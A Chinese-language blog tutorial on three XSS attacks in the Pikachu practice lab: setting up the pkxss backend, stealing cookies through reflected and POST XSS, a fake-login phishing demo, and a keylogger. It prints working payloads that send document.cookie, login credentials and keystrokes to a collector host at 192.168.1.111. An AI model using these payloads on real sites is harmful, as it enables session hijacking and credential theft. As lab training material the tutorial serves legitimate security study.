Pikachu:XSS的三种入侵案例

题外话:

  在开始之前请允许我吐槽一下,如果你急于开始XSS的新旅程,那么请忽略。

  在程序员行业里众所周知,大多数程序员总是慵懒地对待生活和工作,他们足够严谨但是不够细致,整洁这个词语只能做到后一个字,但是事实上这并不能作为评判程序员的标准,因为横向比较,很多程序员也并不是这样,纵向观察,存在这些特点的人员在其他领域也屡见不鲜,总而言之,人群集合的共性习惯很可能与城市风格乃至社会风格相关。

  博客的编写很是耗时耗力,你需要搞清楚所有的环节,做出正确的操作,因为科学是严谨的,众多内行上眼观瞧就知道你的博客里有多少水分(呃......对程序员来说水分仅限于是否掌握专业技能,与文字的复制与否无关),加上博客并不是操作截图和简称的堆砌,我们需要编写文字,保证语言的流畅和句子的通顺,以求让我们在将来的某一天淡忘某一部分的知识点时,能够在博客里找到自己的答案。

  但是真的做到了吗,我们真的能做到吗,在忘得差不多的时候还能通过博客重新学习而不用去查资料?对于大多数程序员我不抱太大希望。当然一般情况下我们只会忘一点东西,一看就差不多想起来了。然而回头想想,现在你还记得多少氧化还原反应,给出有机分子是否能写出化学式,电磁继电器的工作原理,洛伦兹力,楞次定律,乃至对数函数指数函数的导数,60篇必背古诗词,当年我们每个人都精通的东西,现在简单看看定律和解释,你还能解出当时的题目吗?

  所以铺垫这么多我想说什么呢,哪怕是为了自己,哪怕只是为了自己,把博客写好,语句通顺,尽量不用错别字,截好每一张图片,把图片描述的操作写得清清楚楚,自己的心头不要有觉得这两个字,觉得别人应该会,觉得别人应该懂,我们不应该孤立地看待世界,还有很多人不懂,如果想省略,那么我们有责任,把知识点的出处标明来让读者能够继续学习,如果你只是给自己看,不如自己写个word文档,既然使用这个平台,得到了相应的便捷和权利,就应该履行相应的义务,这跟代码水平、业务能力等等都没有关系,这只是一种责任感,知识的汇聚与交流,乃至文明的发展与传承,都离不开这种责任感。

  可能我们的水平很高(这里的我们只是增加认同感的手法,我的水平不高),但是,细节不清晰,语句不明朗的博客,只是在浪费计算机学习者的宝贵时间,看着运行成功的截图束手无策,如果我们二十年后的某一天,需要某个环境的搭建,脑袋里空空如也,打开博客,看着运行成功的截图一样束手无策,那个时候的懊恼已经毫无用处了。设身处地吧,我们看别人的博客的时候,希望别人事无巨细,为什么不能求人之处求己,恕己之处恕人?

  总而言之,请认真对待每一篇博客,做好细节,心怀责任感敲下每一个字吧。

XSS后台的搭建:

  为了接下来的cookie实验,我们需要搭建XSS后台,来得到cookie值,你可以采用两个主机的方法,设置不同的IP来进行实验,也可以只用Pikachu来实验,我这里是后者,事实上只是改了一个IP而已,对XSS后台的设置其实在我前面的博客早有介绍:Pikachu:环境安装及暴力破解。

  首先我们需要把在Pikachu-master(文件夹的名字每个人可能不尽相同,注意这个名字,后面有用处)里的pkxss拿出来,放在跟Pikachu同一目录下,即为WWW目录下:

   事实上你现在按照正常步骤在火狐中打开pkxss,你会发现可以正常进入后台,因为你安装成功一回了,现在打开文件夹修改配置文件,事实上我没有做改动,因为待会需要修改localhost,这里的localhost根本不用变,至于数据库名和密码,我没有改Mysql的配置,这里没必要改啊:

   现在在网页中打开pkxss,会有红字让你初始化安装:

  点击,发现出问题了,初始化失败。  

  其实问题就出在ip上,很多博客只是让你在上面的config.inc.php文件里修改一个其他的地址,原来是192.168.1.1或者localhost,修改成192.168.10.100,跟你的主机IP,还有localhost都不一样,怎么可能成功。

  这个时候就修改主机ip就完了,点击phpStudy,其他选项菜单,点“打开host”:

   把选中的地方修改一个你想要的ip,我这里是192.18.1.111,然后保存:

   修改主机ip,右击右下角的小电脑,点击打开网络连接,在本地连接右击点击属性,双击打开下图里的选项,如果有两个,就打开ipv4的:

   把ip地址,子网掩码与网关如下图设置,IP地址与网关得在同一网段:

   设置完再点击网页里的红字初始化安装,出现成功字样:

   然后点“点击这里”进入首页,输入admin/123456登录:

 

   接下来重定向,其实就是把里面一开始的ip设置成新设置的,使得跳转的页面固定:

  如果随便设置,例如我这里设置192.168.1.110,就会跳转错误,具体怎么跳转我们后面再说:

   所以这里也设置成192.168.1.111,注意这个网址!!!我们仔细分析就知道,其实是跳转到Pikachu的首页,而Pikachu文件夹的名字如果错误,也会无法跳转成功,因为根本找不到这个文件夹,这就是上面我有一个括号中说注意文件夹的名字的原因。比如,我这里的文件夹名字是pikachu-master,如果网址是http://192.168.1.111/pikachu/index.php,那么就会跳转失败,因为文件夹名根本不是这个,所以正确的网址应该是:

  http://192.168.1.111/pikachu-master/index.php

   你也可以根据自己的情况来修改。

一、Cookie(Get型XSS)的窃取与利用

  我们进入反射型XSS(get),在文本框中进行一些操作,但是根据已经做过的经验,我们知道文本框里只让输入20字节,所以我们先修改一下,把字节数增加,F12调出Web控制台:

   根据网页的选择程度来确定标签,我上面已经修改了字节长度,接下来打开XSS后台,点击cookie搜集,出现页面:

 

   在文本框中输入下列js语句,页面跳转到首页:

  <script>document.location='http://192.168.1.111/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

   再看XSS后台,里面有了一个记录,这里因为我前面登录过,每一次返回页面或者跳转的操作XSS后台都会捕捉cookie,所以id是4,可以忽略,这里我只放出这一个,我们也得到了cookie

  PHPSESSID=31dea1b72e9ea745f126a5267b86da34

  其中referer,用户一旦访问这个链接,它只会跳转到首页面,但是我们这样就已经获取到cookie值:

  http://192.168.1.111/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.1.111%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit

post型xss  cookie值获取

   登录:

  我们输入<script>alert('xss')</script>,出现漏洞,结果发现地址栏没有变化,不在URL显示:

  查看pkxss-xcookie-post.html文件

  我们需要自己搭一个恶意站点,然后在网站上放一个post表单将存放POST表单的链接发送给受害者,诱导受害者点击这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的

  首先,在恶意站点中修改服务器地址:上面是存在XSS漏洞的地址,下面是提交cookie的后台地址。

  恶意页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面

  如果用户访问欺骗的跳转页面,就会在pxss获取到cookie值

二、XSS钓鱼演示

  进入文件夹修改ip(具体路径如下图):

   这里有xfish和fish文件夹,我们进入fish.php如下图选中所示,修改ip:

   我们接下来看看xfish的内容,分析代码,发现给出认证框,用户输入用户名、密码,重定向到后台,同样的后台也有同样的接口,get方式获取到用户名跟密码然后存储

  攻击者给用户可以正常的看上去没有欺骗的可信的页面,而这个页面被攻击者嵌入了一些恶意的代码,进行盗取用户的一些信息。当用户点开这个页面之后,看到是正常的页面,实际上登录信息等都被攻击者在后台页面获取到。

  下面两句代码都可以引发XSS漏洞:

  <img  src=" http://192.168.1.111/pkxss/xfish/fish.php"/>

  <script  src=" http://192.168.1.111/pkxss/xfish/fish.php">  </script>

   在其中输入admin/123456,查看后台XSS发现存在记录,而刷新后会增加新的记录,因为在后端已经存储了信息(我这里是获取后又刷新了两次的结果):

三、XSS获取键盘记录

跨域:

  在开始之前我们需要先了解一下跨域,顾名思义,跨域就是跨越领域,这种操作当然是不被允许的,如果说网址是一把钥匙,让我们进入各个页面,那么每个网页当然只能用一把钥匙或者一种钥匙,别人家的钥匙不能被允许开你家的门的,毕竟卧榻之侧岂容他人鼾睡。按照这个道理,你用百度的页面去执行360的页面的脚本,当然不可能允许你在这里搞事情了。

  官方点学术点的说法,就是页面必须同源,不是我们家的人不要在我们家干事,指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器施加的安全限制。 

  所谓同源是指,域名,协议,端口均相同

  不明白没关系,举个栗子:

  http://www.123.com/index.html 调用 http://www.123.com/server.php (非跨域)

  http://www.123.com/index.html 调用 http://www.456.com/server.php (主域名不同:123/456,跨域)

  http://abc.123.com/index.html 调用 http://def.123.com/server.php (子域名不同:abc/def,跨域)

  http://www.123.com:8080/index.html 调用 http://www.123.com:8081/server.php (端口不同:8080/8081,跨域)

  http://www.123.com/index.html 调用 https://www.123.com/server.php (协议不同:http/https,跨域)

  请注意:localhost和127.0.0.1虽然都指向本机,但也属于跨域。

(关于同源的解释,以及一些允许跨域的方法,原文可以参考这个链接:

  https://blog.csdn.net/lambert310/article/details/51683775)

  所以我们就得看看是否有跨域限制了,打开rkserver.php(路径如下图所示):

   打开以后看图中标记的部分,发现作者已经设置允许被跨域访问了:

   接下来我们可以利用标签来进行操作,获取键盘记录了,下面这些标签都允许跨域操作,在Pikachu:暴力破解板块我们已经见过它们了:

  <script src=”…”>//js,加载到本地执行

  <img src=”…”>//图片

  <link href=”…”>//css

  <iframe src=“…”>//任意资源

  我们再分析一下这个文件夹下其他文件的代码,打开唯一的js文件,我们来看看,把js 文件放到被攻击者的页面当中,通过获取键盘值,post发送给攻击者后台的ip:

   最后一个文件夹就是记录键盘结果,没有什么特别的:

  之后在存在存储型XSS的网站插入代码,这里用了script标签,其他标签当然也可以,这里只是搞个示例:

   <script src= "http://192.168.1.111/pkxss/rkeypress/rk.js"></script> 

  在键盘上随便输入发现会跳出来    页面请求失败,在pkxss后台我们就可以看到获取的信息。

原文地址:https://www.cnblogs.com/FHBBS/p/12539822.html